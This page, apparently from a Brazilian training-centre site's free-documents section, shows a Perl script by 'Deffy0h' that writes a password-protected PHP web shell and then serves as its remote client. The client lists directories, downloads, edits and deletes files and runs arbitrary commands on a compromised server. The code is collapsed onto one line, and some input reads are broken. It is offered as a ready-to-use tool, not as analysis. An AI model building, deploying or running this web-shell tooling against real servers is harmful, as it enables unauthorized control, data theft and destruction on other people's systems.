Bem vindo(a) ao CENAPRO - Centro de Ensino e Aperfeiçoamento Profissional
 
 
 
 
 
  
DOCUMENTOS - [ CONTEÚDO FREE ]

Formato: TXT  |  Tamanho:
ASDA
#Skype: Deffy0h use HTTP::Request; use LWP::UserAgent; use Getopt::Long; use Digest::MD5 qw(md5_hex); $deffy0h="Deffy0h"; $code="deffy0h"; my $OK_HTTP=200; my $RE_ERRO="ERRO0"; my $help= " dir - files and folders mkdir - create folder open - save file del - delete file or folder edit - edit a file create - create a file cls - clear terminal exit - exit terminal cmd - send terminal commands "; print <$op,"help"=>$h); unless($h){ }else{ print $help; exit; } unless($op){ print " [-] OPTION "; exit; } if($op eq "CONN"){ CONN(); } if($op eq "CREN"){ CREN(); } sub CREN(){ my $file="Shell.php"; print "FILE: "; $file=; chomp($file); if($file!~m/.php$/){ $file="Shell.php"; } print "PASSWORD: "; $p=; chomp($p); unless($p){ print "[-] PASSWORD='' "; exit; } $p=md5_hex($p); print "[+] FILE=> $file "; print "[+] PASSWORD=> $p "; my $ex_password=chr(36)."password"; my $ex_code=chr(36)."code"; my $ex_GET=chr(36)."_GET"; my $ex_p=chr(36)."p"; my $ex_code_=chr(36)."code_"; my $ex_type=chr(36)."type"; my $ex_path=chr(36)."path"; my $ex_cmd=chr(36)."cmd"; my $ex_text=chr(36)."text"; my $ex_f=chr(36)."f"; my $ex_r=chr(36)."r"; my $ex_dir=chr(36)."dir"; my $er_e=chr(91); my $er_ee=chr(93); $mmh=" "; open($a,">",$file); $a->print($mmh); $a->close(); print "[+] FILE $file SAVED "; } sub CONN(){ print "URL: target.com/upload/file/shell.php "; print "URL: "; $u=; chomp($u); unless($u){ print " [-] NOT DEFINED URL "; exit; } if($u!~m/http:/){ $u="http://".$u; } $ua = LWP::UserAgent->new; if($re=HTTP::Request->new(GET=>$u)){ $response=$ua->request($re); if($response->status_line!=$OK_HTTP){ print " [-] ERRO "; exit; } } print "PASSWORD: "; $p=; chomp($p); unless($p){ print " [-] NOT DEFINED PASSWORD "; exit; } $p=md5_hex($p); print " "; print "[+] URL=> $u "; print "[+] PASSWORD=> $p "; if($u!~m/[?]/){ $u=$u."?"; } my $ioe="code=".$code."&p=".$p; $auth=$u.$ioe; print "[+] AUTHENTICATING... "; if($re=HTTP::Request->new(GET=>$auth)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm!~m/$RE_ERRO/){ print "[+] OK WELCOME "; }else{ print "[-] INCORRECT PASSWORD "; exit; } }else{ print " [-] ERRO "; exit; } } COMMAND(); } sub RETN(){ COMMAND(); } sub COMMAND(){ print "COMMAND: "; my $command=; chomp($command); if($command eq "dir"){ FILES_SERVER(); } if($command eq "cls"){ CLS(); } if($command eq "exit"){ EX(); } if($command eq "open"){ OPEN_FILES(); } if($command eq "mkdir"){ CREATE_FOLDER(); } if($command eq "del"){ DEL_(); } if($command eq "edit"){ EDIT_(); } if($command eq "create"){ EDIT_(); } if($command eq "cmd"){ CMD_(); } if($command ne "dir" || $command ne "cls" || $command ne "exit" || $command ne "open" || $command ne "mkdir" || $command ne "del" || $command ne "edit"){RETN();} } sub CMD_(){ #NickGuitar.dll// print "COMMAND=> "; $cmd=; chomp($cmd); $gh=$auth."&type=cmd&cmd=".$cmd; if($re=HTTP::Request->new(GET=>$gh)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm ne ""){ print $htm." "; } } } } sub EDIT_(){ print "PATH=> "; $path=; chomp($path); print "TEXT=> "; $hem=; chomp($hem); $gh=$auth."&type=edit&path=".$path."&text=".$hem; if($re=HTTP::Request->new(GET=>$gh)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm ne ""){ print " [+] $path EDITED WITH SUCCESS "; } } } } sub DEL_(){ print "PATH=> "; $path=; chomp($path); $delmk=$auth."&type=del&path=".$path; if($re=HTTP::Request->new(GET=>$delmk)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm!~m/$RE_ERRO/){ print " "; print " [+] $path DELETED "; }else{ print "[-] INCORRECT PASSWORD "; exit; } }else{ print " [-] ERRO "; exit; } } print " "; RETN(); } sub FILES_SERVER(){ print "PATH=> "; $path=; chomp($path); if($path!~m/./){ $path="/".$path."/"; } $u_files=$auth."&type=dir"."&path=".$path; if($re=HTTP::Request->new(GET=>$u_files)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm!~m/$RE_ERRO/){ if($htm=~/Array/){ print " "; $lastFolder=$lastFolder."/".$path; $lj=$path; print "[+] PATH=> ".$lastFolder." "; print $htm; }else{ print "USE: /folder/ or '/' or '../folder/' or '.' "; } }else{ print "[-] INCORRECT PASSWORD "; exit; } }else{ print " [-] ERRO "; exit; } } print " "; RETN(); } sub OPEN_FILES(){ print "FILE=> "; $path=; chomp($path); print "SAVE=> "; my $save=""; $save=; chomp($save); unless($save){ $save="index.php"; } $uu_files=$auth."&type=open&path=".$path; chomp($u_files); if($re=HTTP::Request->new(GET=>$uu_files)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm!~m/$RE_ERRO/){ print " "; if($htm!~m/EEE_FD/){ open($a,">",$save); $a->print($htm); $a->close(); print " [+] FILE $save SAVE "; }else{ print " [-] FILE NOT EXISTS "; } }else{ print "[-] INCORRECT PASSWORD "; exit; } }else{ print " [-] ERRO "; exit; } } print " "; RETN(); } sub CREATE_FOLDER(){ print "PATH=> "; $path=; chomp($path); print "FOLDER=> "; my $folder=""; $folder=; chomp($folder); $uumk_=$auth."&type=mkdir&path=".$path."/".$folder; if($re=HTTP::Request->new(GET=>$uumk_)){ $response=$ua->request($re); if($response->status_line==$OK_HTTP){ $htm=$response->decoded_content; if($htm!~m/$RE_ERRO/){ print " "; print " [+] FOLDER $folder CREATED "; }else{ print "[-] INCORRECT PASSWORD "; exit; } }else{ print " [-] ERRO "; exit; } } print " "; RETN(); } sub CLS(){ system("cls"); RETN(); } sub EX(){exit;} __END__ Deffy0h Channel Youtube https://www.youtube.com/channel/UC9kMfNPD3dgMO94JeFdTVBA http://deffy0h.tk BANNER: http://www.kammerl.de/ascii/AsciiSignature.php
 

« Voltar
  
 
Desenvolvido por:
Centro de Ensino e Aperfeiçoamento Profissional - CENAPRO
CNPJ: 020.149.945/0001-87 - ANANINDEUA/PA
Fone: (91) 3223-9322 / Claro (91) 98423-3611 / Tim (91) 98309-5846
Sistema Antistress: